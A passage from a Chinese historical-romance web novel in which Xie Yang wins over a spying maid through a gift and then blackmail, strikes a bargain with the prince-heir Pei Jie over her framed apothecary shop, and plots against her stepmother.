谢元鼎忙着救女儿,顾不得相送,便让谢泱代为送客。
11. 敲打
谢泱领着裴玠离开了这是非之地。
等远离了后花园,环境乍然安静下来,只剩下两人的脚步声一前一后的响起,谢泱步子不如裴玠那般大,稍稍落后些,不过为了给客人带路,谢泱还是努力地跟上前面那人的步伐,只不过有些吃力。
走这么快作甚,不知道的还以为是你家院子呢。
谢泱朝着眼前人的后脑勺撇了撇嘴。
裴玠看了眼自己斜后方的少女,将步子放慢了些,没过多久两人的步调便统一了起来,并肩走到一起。
刚刚一前一后还好,眼下与裴玠并肩同行,一时无话,谢泱便觉得气氛有些尴尬。
是不是有些太近了?她都可以感受到自己左肩衣料与裴玠右手手臂因摩擦而时不时传来的触碰感了。
于是她悄悄往旁边挪了一点。
“谢姑娘。”裴玠突然出声,引得谢泱抬头看他。
“刚刚谢姑娘向我递茶时,眼睛眨得很是自然,怎么现在反倒不自在起来了?”裴玠语气中没有了刚刚的玩味,只是带了几分调侃,反而让人放松下来。
谢泱听了此话,颇有些不服气,将刚刚挪出去的步子又挪回来了:“殿下也好意思说我吗?刚刚世子冲我笑成那样,不知道的还以为世子殿下是被小女的容貌给折服了呢。”
谢泱定定地看向裴玠,眼神中俱是得意。
调侃我?你还差点功夫。
若是寻常男子被谢泱这样看着,早就脸红着躲开了,谁曾想裴玠只是低下头,用同样的眼神回以谢泱,幽幽地说:“也许,姑娘真的猜中了呢?”
语出惊人。
谢泱被这话吓得愣住了,不是吧......难不成这人真的被自己的容貌迷住了?她的魅力这么大的吗?
直到谢泱看见裴玠嘴角的笑意越来越大,她才反应过来眼前这人就是成心逗她玩的。
真不要脸,她果然是久不在凤阳,现下的男子都是这般吗?
她收回眼神,嘴角挂起一丝冷笑,语气中少不了带点讥讽:“那晚我倒是没看出来世子殿下是个爱说笑的人。”
对了,那晚。
谢泱被这人带偏,差点忘了正事。
她正了正神色,收起了玩笑的模样,向裴玠提起了流云轩的事:“刚刚世子殿下突然提到流云轩,不知是否是有与小女在流云轩一会的意思?”
“我以为,你已经明了此事了。”裴玠也收起了那副玩世不恭的样子。
“况且,就算我不提,难道你就会放弃去流云轩打听我的消息了?灵丹阁阁主?”
裴玠最后几个字深深烙在谢泱心上,她抬眼看向裴玠,重新审视着眼前这个男人。
是了,她在想方设法搜寻他的信息,难道他就不会?
只是没想到他这么快就查到了她是灵丹阁背后的人,算了,这样也好,这样向他问起灵丹阁的事情也就光明正大了。
“既如此,我也不瞒殿下,我想约殿下一叙,实则是想询问一件有关灵丹阁的事情,那晚......”
“眼下不是说此事的好时机。”裴玠抬手打断了谢泱的话,眼神看向远处一回廊。
谢泱有些不解,目光顺着裴玠的视线看去。
那回廊的丫鬟见偷听被发现,着急忙慌便从拐角逃走了。
逃得虽快,却仍被谢泱捕捉到了那丫鬟的侧脸。
是巧玉。
谢泱心中不禁冷笑,那丫鬟还真是忠于她的主子,有了刚刚的教训还不够,竟然还要来监视她,回去还是要把此人解决了为好,否则终究是个麻烦。
“多谢世子提醒,此人我会处理好。”谢泱向裴玠行了个礼。
裴玠却是扬唇一笑,看向她:“没想到谢姑娘在侯府中的处境这般艰难,连说个话都有人监听,灵丹阁阁主待遇竟是如此吗?”
谢泱不可置否:“倒是让殿下见笑了。”
不知不觉间,两人已行至侯府正门,玄刃驾着马车正在等自家主子。
等裴玠上了马车,玄刃向谢泱走来,抱拳行礼:“谢姑娘,明日未时,流云轩,届时会有人在哪等您。”
说罢便跳上马车,驾车而去了。
谢泱目送王府马车消失在街头转角,也转身回府了。
等回到了流云轩,谢泱叫来半夏,吩咐她:“你去把巧玉找来,就说我有事找她。”
“巧玉?那个丫鬟?姑娘你不是刚把她弄走吗,这会子又叫她回来做什么?”
“她刚刚偷听了我和世子说话,我怕她多舌,还是放到眼皮子底下比较安心。”谢泱将刚刚的情形说给半夏听。
半夏听了,觉得有理,当即便出去寻巧玉了。
茯苓却有些担心:“姑娘,您明知她是夫人派来监视我们的,叫巧玉回来不正中她下怀吗?”
谢泱看向茯苓:“知道我今日为何单单设计那名叫木灵的丫鬟弄坏我的衣服吗?”
茯苓想了想:“因为她看起来没巧玉心思多?”
谢泱觉得她这丫鬟还是聪明的。
“正是如此,巧玉是个心思重的,就连衣着这样的细节也要显出与众不同来,罗漪华想让她来监视我们,却给不出什么像样的赏赐,但我们不同,你姑娘我有大把闲钱来收买她。”
茯苓看着自家小姐自信的样子,心下的疑虑顷刻消失了大半。
片刻后,半夏领着巧玉来了。
方才偷听被发现后,巧玉当下就去了荣禧堂。因为偷听时距离有些远,巧玉其实并没有听清两人在说什么,因此在罗漪华问起是个什么情形时,她便添油加醋了一番,活脱脱将两人形容成了暗通款曲之徒。
她出来后便被半夏带来了听竹轩,一路上都在担心谢泱是不是要发落她,不过想想有夫人给她撑腰,又镇定下来。
谁曾想,到了听竹轩后,谢泱对她出奇的和颜悦色,竟是拉着她的手,笑着对她说:“刚刚我恼木灵将我的宝贝衣裳弄坏了,却将脾气也撒到了你身上,这是我做主子的不是。”
巧玉见谢泱并没有怪罪她,心放下了一半:“姑娘使不得,千错万错都是我们这些下人的错,哪有姑娘说自己不是的道理。”
“我知道你是个好的,你就安心在我这里,我保准亏待不了你。”谢泱说完就将手腕上白玉手镯褪下来戴到巧玉手上。
巧玉看着手腕上温润生光的手镯,眼睛都直了,她原是荣禧堂的一个三等丫鬟,因着她娘在夫人面前还算得脸,这才被挑中过来服侍大姑娘。来之前,夫人特地嘱咐她要注意大姑娘的一言一行,随时向她汇报,为此,夫人还特地赏了她和她娘三个月的例银。
可谢泱赏的这个镯子,她和她娘一年得的银子加起来都买不起,她爱美,这镯子戴出去,不知道在那些丫头片子面前该有多得脸......
再者说,夫人只是让她监视大小姐,一个闺中小姐有什么可报的,她两头都轻松,真是个美差。
她也没多推辞,当即就向谢泱表了忠心。
谢泱满意地笑了,缓缓走向躺椅,躺下后不知想到了
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什么,面上又变得忧愁起来,叹了口气。
“大小姐可是有什么烦恼,若是能用得上奴婢的,奴婢必定赴汤蹈火在所不辞!”巧玉见谢泱这样,立马递上话头。
谢泱装作头疼的样子,揉了揉眉心,旋即柔柔弱弱地开口:“也没什么,就是我初回凤阳,对外头的事物都新鲜得很,平日里爱出门玩,夫人那边却不好交代,毕竟我终究是个闺阁女子,不方便出门......”
“小姐放心,夫人那边,奴婢必定不会多嘴。”巧玉立马懂了谢泱的言外之意。
“很好,我就知道你是个机灵的,我这院子没什么规矩,你也可自由些,当下无事,你下去吧。”谢泱说完就抬手让巧玉下去了。
等巧玉走后,半夏问谢泱:“姑娘你为何要赏她那样贵重的首饰?那个玉镯子一看也不像是丫鬟能戴的呀。”
“要的就是这个效果。”谢泱嘴角升起笑意。
半夏不解地挠了挠头。
谢泱这才看着她解释道:“她必定还要常去荣禧堂那边,这个手镯的成色不常见,整个荣禧堂都不一定能找出几支来,你说,罗漪华见一个丫鬟带这样一个镯子在她面前花枝招展,她能不找巧玉麻烦吗?”
半夏恍然大悟:“这样一来,巧玉少不得要求到姑娘面前,这样她才能安心为姑娘所用。”
谢泱摸了摸半夏的头:“正是如此,人心光用钱是收买不来的,你且等着吧,没多久她就要来我这哭了。”
果不其然,晚饭过后,巧玉就哭到了谢泱这里。
“小姐......求小姐去夫人那里替、替奴婢解释一番。”巧玉哭得梨花带雨,跪在谢泱面前,一个劲儿地磕头。
“呦,这是怎么了?”谢泱面上一片关心,却不见动作,由着巧玉跪在那儿。
巧玉只觉得谢泱不如白日那般温柔,但事态紧急,由不得她想那么多,她断断续续地解释:“下午奴婢碰见了夫人,夫人见我手上的镯子,当下就变了脸,断言奴婢是从夫人那偷的,奴婢说这是小姐您赏的,夫人偏是不信,说是让我娘明天领了我家去。”
其实下午她并非偶然“碰见”夫人,而是去向夫人汇报,谁曾想她不过是没有遮掩这镯子,恰好被二小姐看见了,二小姐今儿个气不顺,那她出气,这才闹到了夫人面前去。
谢泱听完后,心下了然,不过她让半夏和茯苓先下去,房内只剩了她和巧玉两个人。
谢泱没说话,只是坐在圈椅上居高临下地看着巧玉。
房内安静得吓人,更显得巧玉的抽抽搭搭的哭声突兀。
巧玉意识到不对,屏住了哭声,惶恐地看向和下午判若两人的谢泱:“小、小姐。”
觉得氛围烘托到位了,谢泱终于开口:“你说你是碰见夫人,其实是向她汇报我的一举一动吧?今日我送世子出府,你也没少添油加醋吧?”
谢泱问的轻松,可话语中的凌厉还是吓得巧玉一哆嗦,伏地连声否认:“奴婢不敢,小姐误会我了!”
“是吗?既然你不说实话,那就别怪我去夫人那说,这镯子是你从我偷的,候府可容不下手脚不干净的下人,少不得还要连累你老子娘。”谢泱不紧不慢地陈述后果。
巧玉这才明白为何谢泱会赏她一个如此贵重的镯子,心里少不得有一番纠结与绝望。
谢泱不再说话,只是耐心地等巧玉说实话。
不知过了多久,巧玉脸上的犹豫忽地被一丝决绝代替,她抬起头,看向谢泱:“小姐,我说,我都说。”
12.交易
巧玉将罗漪华是如何吩咐她来监视谢泱、她又是如何在罗漪华面前汇报的一股脑都说了出来。
“小姐,就这些了,再没有别的了,求小姐发发慈悲,救救奴婢!”她说完,又给谢泱磕了几个响头。
“我可以去夫人那给你作证,不过,你凭什么值得我这样做?我也不想凭白得罪夫人。”谢泱看着手中的茶,并不看她。
巧玉并不愚钝,她心思流转几番,明白了谢泱的意思:“我可以为小姐充当在夫人那边的耳目。”
“哦?我凭什么信你只充当我的耳目?说不定你两头都想讨好,墙头草两边倒呢?”谢泱装作犹豫的样子。
巧玉见谢泱犹豫,便知道有戏,想了一会,终于想出个可以说服谢泱的理由:“若是日后小姐发现奴婢有背叛您的行为,大可仍向夫人说这镯子是奴婢偷的,只说今日您看错了,误以为这镯子是小姐赏我的那个,这样,奴婢不是任您控制吗,断然不会做出不利于小姐的事来。”
这丫头还真是上道,自己都没说几句,就连日后处置她的理由都找好了。
“不错,那便这样吧,夫人那边我会替你说,日后你照旧定期去给夫人汇报我的情况,至于这内容,你可要掂量好,什么该说什么不该说你可清楚?”
巧玉见谢泱答应了,大喜过望:“奴婢就捡那无关紧要的日常吃喝之事,小姐去了哪、见了什么人奴婢一概不知!请小姐放心。”
谢泱听了,觉得这敲打到这就够了,挥挥手让巧玉下去了。
她又想了想,叫了茯苓过来。
“茯苓,你现在去荣禧堂,告诉罗漪华,就说巧玉的镯子是我赏的,这丫头伶俐,听竹轩留了。”
“是,姑娘。”茯苓领命下去了。
等晚间时,茯苓回来,说正房那边没说什么,只说巧玉谢泱觉得好那便在听竹轩服侍。
罗漪华是这个反应她倒是不奇怪,目前来说罗漪华除了能弄一些小动作,其余的并不能对谢泱做些什么。不过有这一出,罗漪华心里服不服她就不知道了,罢了,罗漪华如何想对她来说也是无关紧要的事。
——
次日,午饭过后,谢泱便赴约流云轩。
与坐落在闹市的灵丹阁不同,流云轩作为凤阳顶级的雅集茶轩,目标是那些世家高门,品味不能落了俗套,就连选址也选在了闹中取静的青云巷,颇有些“结庐在人境,而无车马喧”的意味。
青云巷毗邻曾经凤阳的皇城,不过自先帝迁都后,这皇城也就成了行宫,由南安王府定期维护。裴玠选在行宫附近的流云轩与她见面,倒也合理。
只是谢泱没想到,裴玠就是这流云轩真正的主人。
流云轩没有招牌,仅在两扇紧闭的、包着古铜色熟铁的黑檀木大门的右上角,以行草阴刻着小小的“流云”二字,漆成白云色,需细看方能辨别。
茯苓先谢泱一步,叩响了流云轩的大门。
片刻,大门打开,出来一个中年男子,一席长衫,颇有读书人的气质。
跟在谢泱身后的半夏认出他来,附耳对谢泱说:“姑娘,此人正是流云轩的掌柜,卓玄。”
谢泱了然,不过那卓玄仿佛早就认得谢泱一般,语气熟稔:“小人卓玄,特在此等候谢姑娘,世子已经在里面等您了,请跟我来。”
谢泱点了点头,跟着卓玄进了流云轩。
甫一进去,谢泱才发现这流云轩别有洞天,进门并非开阔大堂,而是一条幽深的青竹廊道。
穿过竹廊,豁然开朗。
一个四面通透的巨大水轩建于池上,以九曲木桥连接。内部以湘妃竹帘、素纱屏风做灵活隔断,形成半开放的小空间,隐隐能听到有茶客在里头低声交谈。
水轩中央,设一白石砌成的巨大茶台,台上置了各色名窑茶具,有侍女在上沏茶。
卓玄又引着谢泱进了水轩一侧的暗门,穿过一条室内廊道,便到了一个独立的小院落。
将谢泱送到后,卓轩便转身轻轻阖上远门出去了,半夏和茯苓都候在院外,只留谢泱进去。
檀香冷冽,茶香味苦。
这气味混合得巧妙,不似浓香刺鼻,又令人醒神,可在议事时保持清醒。
裴玠坐在院中的一小亭中,正在烹茶,见谢泱来了,抬手说:“请。”,示意她落座。
谢泱坐到裴玠对面,目光却仍在打量这小院,不禁赞叹道:“你这地方选的好,闹中取静,内部陈设也颇为巧妙,我原不知凤阳竟有此等妙去处,倒是可惜。”
“如今知道了,倒也不算可惜。”裴玠嘴角带笑,将烹好的茶分别倒入两个杯中,伸手将其中一杯推至谢泱面前:“尝尝。”
谢泱轻啜一口,她这些年喝过的好茶不算少,这样的味道却是第一次尝:“极度鲜醇,甘甜如饴,我未曾喝过,这茶想必珍惜。”
裴玠看着对面的少女夸赞这茶,向她解释这茶的来历:“这茶出自凤阳北苑贡茶院。”
难怪,北苑贡茶院精制的茶,向来都是御供,非皇亲国戚不得喝。
“托世子的福,我有生之年竟是能有幸尝到御茶。”谢泱盯着那茶汤,心下叹这世道果真是阶级分明,连这小小茶叶都能体现出来。
“我请你喝这茶,并非是这茶有多珍贵,而是——”裴玠停顿了一下,引得谢泱将目光移向他。
随后,他盯着少女的眼睛,桃花眼带笑,一字一句说道:“从来佳茗似佳人,我觉得,这茶配得上你。”
这话说本是暧昧之词,可从裴玠口中说出来却仿佛只是陈述事实罢了,并无任何引人遐思的意味。
谢泱说不上来这一刹那是什么感觉,只觉得周围的风甚是喧嚣,拽着她往青年噙笑的眼神中跌坠。
心跳忽地漏了一拍。
她微微垂眸,不再看他,指尖捏紧瓷杯,又喝了一口茶。
真是个妖孽。
裴玠看着眼前有些无措的少女,忽然觉得有些懊恼,不应该逗弄她的。
他轻轻笑开,不再提这话,转而说起那晚偶遇一事:“昨日在贵府不便说话,如今倒是要好好感谢一番那晚姑娘的赠药之恩。”
裴玠提起这个倒是正中谢泱下怀,她看向裴玠,一双狐狸眼笑得明媚:“恩情不敢当——诊金三千两,药钱另算,世子爷是现银······还是打欠条?”
谢泱这话不过是一句玩笑话,她那药再金贵也值不了几千两。
裴玠听后低头一笑,却没回谢泱这句玩笑话,他抬头看向她,眼中颇为真诚:“彼时我遇险境,唐突了姑娘,还望姑娘谅解。”
这话一出便让谢泱又想起了那晚的场景——那晚她不小心碰到了他的唇······
想到这,谢泱脸上浮现出几分不自然的神色,要说唐突也应该是她唐突了裴玠才是,裴玠这样一说倒让谢泱有些愧疚,于是只能干笑两声:“殿下多虑了······”
“只是不知姑娘那日为何要去码头?”裴玠话锋一转。
见裴玠提到漕运码头,谢泱便知道可以商议正事了:“世子既然已经知道我与灵丹阁的关系,那我也不瞒世子,灵丹阁有一批药因得一个‘查禁药’的名头被扣在码头许久,我的下家着急要货,我怕出什么变故,这才前去码头查看,不曾想碰到了殿下。’”
“那你可知,有人盯上了你的灵丹阁?”裴玠话里意有所指。
“我正是怀疑如此,这才想与殿下一谈。可我思来想去,这些年灵丹阁并未在明面上得罪什么人,眼下和禁药有关,我认为有两种解释——”谢泱看着裴玠,神情极为认真。
她继续说下去:“一是有人眼
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红灵丹阁势大,想借禁药一事拉灵丹阁下水;二是有人自己干了什么违禁之事,想用灵丹阁垫背。”
谢泱紧紧盯着裴玠,似乎是想要印证真相是否如她所说。
裴玠听着谢泱一针见血的分析,内心多了几分对她的欣赏:“你想得不错,确实有人想用禁药一事拉灵丹阁垫背,而且,此人已经成功了。”
听到这,谢泱秀眉轻皱,若有所思般轻声说:“成功了?叶三说漕运司已经在开仓检查了,我以为只要我的货没问题,没多久就可以放行了......”
此人已经成功了,那就是灵丹阁的货里面已经有禁药了?
“烦请世子告知我详情,禁药一事到底怎么回事,灵丹阁的货现下如何了?”谢泱内心升起一股烦躁。
裴玠察觉了她语气中的急切,却没着急回答,此事事关重大,他虽有意与谢泱合作,但眼下他并不能完全信任这个刚认识没多久的姑娘。
谢泱也意识到了这一点,她和裴玠不能说相熟,自己刚刚有些着急了。
谢泱思虑了一番,再度开口,语气不再有刚刚的冒进:“世子殿下,我并没有把自己当作一个侯府小姐,我是一个商人,商人向来是利字当头,那晚我折返回来救殿下,是有我的私心在的。”
说到这,谢泱顿了一下,接着又说:“我想着,救了贵人一命,日后总能得到相应的回报”
说完,谢泱抬头看裴玠的反应,却只看见了一双波澜不惊的眼睛,谢泱有些看不明白眼前这个世子殿下是怎么想的。
裴玠琢磨着谢泱的话,利字当头,好一个利字当头。
片刻后,裴玠面上又挂上了那副温润的表情,只是眼里不再有温度:“禁药一事,涉及皇家辛秘,我不便告知,但我能告诉你,这事乃皇室中人所为,他急于脱手证据,将禁药混入了灵丹阁的货里,按察使司已经在写诉状了,等证据一完善,他们就会来查抄灵丹阁。”
话说到这个地步,谢泱基本就能明白整件事情是怎么一回事了。她并不怀疑裴玠所说之事的真实性,他没必要骗她,哪怕是为了那晚的赠药之恩。
“既如此,代价呢?殿下不妨将条件都讲清楚,我需要怎么做?”谢泱指尖无意识地敲击着桌面,语速却异常平稳。
裴玠也不再和她兜圈子,开门见山道:“我可以帮灵丹阁,不过,我要你装作什么都不知道,耐心等灵丹阁被查抄。”
等着被查抄?谢泱面露疑惑,等着裴玠说下去。
不过裴玠没再多说,他只是告诉谢泱:“我要你什么都不做,只要等下去即可,灵丹阁不会有事。”
禁药一事明显是九王那老贼所为,只是他颇为狡猾,裴玠几次派人去查,却三番两次被他逃过去。眼下九王被逼至此,这才盯上了灵丹阁,说到底也是无妄之灾。
现在只要灵丹阁不为所动,九王以为事成,必定露出马脚,彼时他就能将这老贼一网打尽。
谢泱将裴玠的话在心里权衡利弊了一番——
灵丹阁要被查抄,那必定要面临牢狱官司,她是灵丹阁的大东家,虽说现下知道的人不多,但到时候必定瞒不住,少不得她还要去府衙走一趟,说不定还要在牢里待几天,这却得不偿失。
候府不是一直觊觎灵丹阁吗?不如推候府帮她打官司好了。
罗漪华,你应该也很想要灵丹阁吧......
她知道该怎么做了。
谢泱突然笑了起来,不过那笑意并未到达眼底:“好,我答应你。”
裴玠看着少女变化的神情,嘴角微勾:“看来谢姑娘要拿这事做文章?”
谢泱想通了后,心情便明媚起来,语气也变得松快:“顺带处理一些家务事罢了。”
裴玠淡淡地看着她,眼里闪过一丝探究,终究是没问什么。
13.设局
既然交易已成,谢泱觉得现在她可以回去了。
“今日多谢世子殿下款待,若无事,小女这便......”“说了这么多,还未曾请你尝尝这流云轩的茶点。”
不知是有意还是无意,谢泱的“告辞”二字还未说出口,便被裴玠打断,他抬手,院侧便有侍者端来几盘制作精美的糕点。
谢泱见状,也不好再提告辞一事,她看着这些侍者都是训练有素,来去皆如影,难怪她之前都未曾注意。
裴玠指了指这些点心:“流云轩的茶好,茶点也是上品,你试试。”
方才说的投入,不曾察觉,眼下确实有些饿了。
谢泱挑起一块海棠糕,先是尝了一口,发现味道很是不错,甜而不腻,便一口接一口吃了起来。
谢泱边吃边点头:“流云轩的厨子技术如此了得,不知道有没有兴趣来我侯府,我幼时长大的山庄就有这样一位糕点师傅,现在乍一吃这糕点,倒让我想起了他。”
她不知道的是,这做糕点的师傅是原来宫里的御厨,后来进了南安王府伺候,她想请也是请不到的。
谢泱的母亲格外重视谢泱的吃食,在山庄上,光是厨子就有六个,回侯府后,谢泱虽有她自己的小厨房,但饮食终究是比不上山庄,这些时日她都清瘦了不少。
见谢泱喜欢这的点心,裴玠嘴角弯了弯,趁着她吃,他又提起另一件事:“你府上递来的帖子我看了,你的笄礼是九月初三,想必那日也是你的生辰?”
裴玠这么一提,谢泱倒是想起来,昨日在侯府时,这人说让他妹妹来她的笄礼:“并非那日,我的生辰在八月十五。”
八月十五正值中秋佳节,鲜少有人会在这样的日子办礼,毕竟大家都忙着与自己的家人团聚,没有人希望自己在这时被打扰。
裴玠心下了然,只说:“你的笄礼我不便出面,我的妹妹倒是与你年纪相仿,你们应该合得来。”
这话说的怪,谢泱与他不熟,何来方不方便出面一说?
不过很快,谢泱的注意力便被裴玠提到的“妹妹”所吸引了,昨晚,她让半夏去打听了一下裴玠的这位妹妹——永嘉郡主裴易水。
裴易水并非裴玠的亲妹妹,而是南安王的一位妾室所出,不过,听说那位妾室在生她时不幸难产而亡,裴易水自此由南安王妃亲自抚养,很是得宠,后来圣上赐封号永嘉,便为永嘉郡主。
裴玠几次提他这妹妹,倒是令谢泱很是好奇,不过她还是昨日那套说辞:“永嘉郡主能赏光,是我之幸。”
裴玠见她这样子,只是无奈的笑了笑。
茶也喝了,点心也吃过了,谢泱再次向裴玠提出告辞。
裴玠没有再留,只是和她说:“你若有事找我,来流云轩找卓玄即可。”
谢泱没多想,只觉得他们现下多少算合作关系,需要保持联络也正常,点了点头,她向裴玠福了个礼,便走了。
裴玠看着她消失在廊道尽头,随后又是一挥手,不过这次招来的是墨影。
“主子,有何吩咐?”
“你去查一下谢泱与永安侯府之间有什么内情。”
“是。”
——
回府后,谢泱仍在琢磨今日从裴玠那得到的消息。
若是她现在就和父亲说要将灵丹阁给侯府,那势必会引起怀疑,再者说,目前她也没有理由让罗漪华一个侯府夫人来管灵丹阁。
但若是灵丹阁出事,那就不一样了。
想要让侯府来替灵丹阁顶锅,那就要等府衙抄上门那日,只有灵丹阁事发,她才能说是自己经营不善,顺手将灵丹阁推给侯府。并且,她必须要寻一个理由,一个让罗漪华主动提出接手灵丹阁的理由......
现下罗漪华应该还不知道她和灵丹阁的关系吧?看来,是用巧玉的时候了。
她将巧玉叫来。
巧玉进来时,还有些战战兢兢,她低垂着头,小声开口:“不知小姐有何吩咐?”
“夫人今日可有来问我出府一事?”谢泱看着巧玉这样,心想昨日真是把她吓坏了,竟然怕她怕成这样,不过这样也好,惧怕总是比放肆来的好。
巧玉抬头看了一眼谢泱,揣摩着她的意思:“未曾,小姐放心,奴婢一个字也不会多说。”
可谢泱却说:“这件事我要你多说,你现在就去夫人面前,说我今日出府是去了灵丹阁。”
接着她详细地告诉了巧玉应该怎么说,她现在要做的就是让罗漪华怀疑她和灵丹阁的关系。
巧玉不知谢泱的用意,但还是乖乖照做了。
——
“她去灵丹阁做什么?”荣禧堂里,罗漪华听完巧玉的来报,发问道。
巧玉按照谢泱吩咐的那样说:“奴婢是今日才知道,之前大姑娘几次外出都是去灵丹阁,但奴也没瞧着大姑娘有什么患病的样子。”
罗漪华面上不显,心下却存了疑:“你是如何得知的?她在你面前说的?”
巧玉回她:“大姑娘面上对我亲热,但要紧之事都防着奴,房里只让她那两个丫头伺候,这事还是奴婢偷听知道的。”
罗漪华对这事倒是不怀疑,巧玉是她派去的,那丫头不信任巧玉倒也正常,但她一个闺阁小姐又有什么事情需要提防别人呢?罗漪华又想到之前侯爷和这丫头好像有事瞒着她......
罗漪华眸中精光一闪,她又问巧玉:“大姑娘平日里在房中都做些什么?有没有什么不寻常的地方?”
巧玉装作努力回想的样子:“小姐平日在房中除了日常起居,其余时间无非是看些闲书,摹摹字帖,偶尔会下下棋。”又想了一会儿,巧玉似乎又想到了什么“要说不寻常,还真有那么一件事——”
罗漪华听巧玉这么说,手撑着扶椅把手,微微倾身:“什么不寻常?快说!”
巧玉一五一十地说:“小姐除了看闲书,似乎还在看另一种特别的蓝色册子,不过小姐每次见我来都会将这册子收回去,谨慎得很,奴婢只偶然瞥见过那册子上写了很多奴婢看不懂的数目。”
蓝色册子?还有数码?罗漪华掌候府中馈多年,她一下便想到只有账本才会有大量数目。
她眼神突然变得凌厉,唤人拿来纸笔,写下了“灵丹阁”三个字,问巧玉那账本面上是否写了这三个字。
巧玉看着罗漪华面目忽然变得狰狞,心里害怕:“奴婢不确定,但、但好像是。”
听到这,罗漪华的身子一下又跌回了椅子里,她眼中有些不相信,嘴里囔囔道:“怎么会如此......”
谢泱怎么会有灵丹阁的账本?她在经营灵丹阁?
怀疑的种子一旦种下,便以不可阻挡之势在罗漪华心里生根发芽,她一下就把此前的种种疑点都关联到一起——难怪老爷非要将她接回来,难怪那丫头能有如此贵重的首饰衣裳,难怪她一个闺阁女子却要常常出门,难怪难怪......
罗漪华眼中突然闪过一丝狠戾,叶淑然那个贱人,死后竟然还留了这么一手,是她失算了。
她想清楚后,吩咐巧玉:“你先回去,找机会确认那本册子到底是什么,确认了即刻来报。”
巧玉领命走了。
罗漪华皱起的眉心久久不能舒展,候府这些年是出的多进的少,她娘家诗书世家,在俗物上却不能给她多少助力,眼看萱姐儿也到了说亲的年纪
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,嫁妆是万万不能少的,否则必定要被未来的婆家看轻了去,旻哥儿虽还小,但将来也是要娶妻的。
若是候府能掌控灵丹阁,或者说,若是她能掌控灵丹阁,那这些问题都不再是问题。
罗漪华这边还在想,柳嬷嬷却有些焦急地来报:“夫人,舅爷来了,正吵着要见您呢!”
听见自己那不争气的弟弟来了,罗漪华心里暂时把灵丹阁的事搁在一边,语气中都是烦躁,看向柳嬷嬷:“他又来做什么!老爷可知道?”
柳嬷嬷回她:“舅爷倒没说具体是因为什么事,老爷尚未回府,还不知道舅爷来了。”
“带我去见他。”罗漪华不得已按耐住内心想要探究灵丹阁的急切,先去处理好她这个弟弟的事。
罗漪华这个胞弟单字一个岱,名为罗岱,是她父母亲老来得子所得,家中甚是宠溺,从小便放肆惯了,年岁渐渐大了后又跟着身边的膏粱子弟染上了一身纨绔习性,整日花天酒地,流连烟花之地,最近更是一头扎进赌坊,赌就赌吧,可偏偏手气臭的很,输了钱不敢和家里说,倒是几次三番找她这个姐姐来堵输钱的亏空。
这次来找她,无非又是伸手来找她要钱。
待罗漪华到了正堂,便看见罗岱正在调戏给他端茶的丫鬟。
“今年多大了?进府多久了?模样倒是生的不错,不如跟了爷,爷让你做姨太太。”罗岱斜着身子坐在正中的太师椅上,一手挑了桌子上的点心塞进嘴里,见那丫鬟被他调戏得脸上一片绯红,另一只手便要伸出去摸人家的脸。
“放肆!”罗漪华实在觉得没眼看,厉声呵斥罗岱,说完又让那丫鬟下去。
罗岱见姐姐来了,也不好继续动作下去,讪讪地收回了手,目光却还依依不舍黏在那丫头的背影上,待那丫鬟不见了他才将眼神转向罗漪华:“姐,那丫鬟我之前怎么没见过,生得一副楚楚可怜的模样,我喜欢。”
“一个丫鬟罢了,你这样像什么样子!”
不过方才罗岱提到要那丫鬟当姨太太,倒是提醒了罗漪华——她这弟弟二十有三了,亲事还没有着落,母亲让她好好留意凤阳好人家的适婚女子,可瞧他弟弟这个样子,哪会有好人家的姑娘愿意嫁过来!
罗漪华坐在罗岱对面,问他:“你这回来是什么事?”
罗岱见姐姐终于问到正事上了,也不再想那丫鬟的事,而是犹豫了一会儿,嘴角的笑透着一股心虚:“姐......你让我在侯府住上一阵子吧。”
罗漪华听见弟弟这样说,便猜到他肯定是在外头惹了事不敢回家,想在侯府躲清静:“你可是惹着什么事了?”
“没有没有,就是不想回彭城而已。”罗岱心虚地喝了口茶。
见他不说实话,罗漪华忍不住皱眉:“你不将实情告诉我就别想在这住!”
“别啊姐,我说还不行吗,我就是......输了点钱,若是回去被父亲知道了,肯定少不了一顿打,姐您就可怜可怜弟弟吧。”
她就知道!罗漪华气不打一处来:“输了多少?!”
“不多,就二百两银子。”罗岱向罗漪华比了个二的手势。
“二百两还不多!混账,你这半年赌输的钱前前后后加起来都近千两了,你当侯府的银子是大风刮来的?等父亲和侯爷知道了,定是要揭了你的皮!”
罗漪华还要接着骂,却见柳嬷嬷匆匆来报,说是侯爷回府了,正在往正堂走。
罗漪华见谢元鼎回来,也顾不得继续骂罗岱,只拧着他手臂起身去见谢元鼎,走前还不忘低声叮嘱他:“待会见了侯爷,你别说输钱的事!”
罗岱手上吃痛,嘴上也不敢反驳,只能连声答应。
14.调戏
罗漪华正要领着罗岱出去,谢元鼎便阔步踏进正堂,看见跟在罗漪华身后的罗岱,眉头微不可察地皱了一下,但终究没说什么。
“姐夫。”罗岱向谢元鼎行礼。
谢元鼎点头回应,接着径直向正中太师椅走去,却看见太师椅旁还留着罗岱吃剩下的茶点,内心的不满终是忍不住了,回头看向罗漪华:“小舅子倒是把侯府当自己家了。”
谢元鼎这么一说,罗漪华才意识到刚刚罗岱坐的是只有主人家才能坐的地方。
她自知理亏,又着急解决弟弟的事,也没有多嘴,只连忙让下人收拾好,重新上茶。
待三个人都坐定,罗漪华才向谢元鼎提起罗岱来侯府小住的事。
“侯爷,阿岱现下也不小了,亲事也该提上日程了,父亲来信说让妾这个做姐姐的留意留意凤阳好人家的女儿,妾身想着不如让阿岱在侯府住上些时日,也好相看人家。”罗漪华不敢提罗岱赌钱的事,只用亲事做借口,言辞间很是恳切,尽是一副慈爱长姐的模样。
罗岱听姐姐愿意留自己在侯府住,便也连声附和:“是啊姐夫,我这回是真觉着自己该成个家了。”
谢元鼎看着罗岱的样子,倒觉得是有几分真心的样子,再加上夫人都这么说了,他也没有拒绝的理由,只不过仍要说上一番教导之语:“既如此,小舅子便在侯府住下吧,你有这般心思,那便从此收起纨绔习性,切不可再像从前那般胡闹,成家立业方是正经。”
罗岱只听见了谢元鼎同意他来家住,心里狂喜,后面的话一概没听进去,嘴上却说:“姐夫教导的是。”
“住下之事妾身会安排妥当,就不劳夫君费心了。”罗漪华仍是那副温温柔柔的样子,应付着丈夫。
谢元鼎自是没有要多管罗岱的心思,只要他不给侯府添麻烦,其它的就由他去吧。
“夫人多费心。”谢元鼎不欲多寒暄,把茶喝完就走了,留姐弟两人说话。
谢元鼎走后,罗漪华接着问起罗岱赌钱一事:“那二百两你打算怎么办?”
